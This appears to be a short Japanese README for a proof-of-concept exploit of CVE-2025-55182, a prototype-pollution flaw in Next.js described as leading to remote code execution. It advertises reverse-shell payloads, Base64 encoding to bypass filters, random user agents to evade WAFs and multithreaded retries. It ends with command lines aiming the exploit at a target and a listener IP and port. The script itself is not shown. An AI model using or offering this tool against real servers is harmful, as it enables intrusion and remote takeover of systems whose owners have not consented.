
CVE-2025-55182 の PoC
CVE-2025-55182 は、nextjs における重大なプロトタイプ汚染の脆弱性であり、フレームワークのリクエスト処理機構における不適切な入力サニタイズを介して RCE を許容します。これは、nextjs が JSON オブジェクトを無知な初心者のように信頼しているために発生します。
1) リクエスト解析におけるプロトタイプ汚染: nextjs はプロトタイプチェーンを汚染可能なオブジェクトを不適切にサニタイズします。
2) 安全でないデシリアライゼーション: フレームワークは JSON オブジェクトがベースオブジェクトのプロトタイプを変更することを許可します。
3) プロトタイプチェーンを汚染することによる child_process を介した RCE: プロトタイプが汚染されると、ロジックを乗っ取ってサーバーに任意のコードを実行させることができます。
npm create [email protected] vuln
1) リバースシェルペイロード: Linux/Win のリバースシェル
2) フィルターをすり抜けるための Base64 エンコーディング
3) 自動 OS 検出
4) WAF を回避するためのランダムユーザーエージェント
5) 失敗時の再試行ループ: 指数バックオフによる再試行
6) 信頼性向上のための同時エクスプロイト試行のマルチスレッド
python exp_v2.py target 192.168.1.69 9001 --base64
python exploit.py target 192.168.1.69 9001 --retries 5 --threads 3
python exploit.py target.com 192.168.1.69 9001 --no-spoof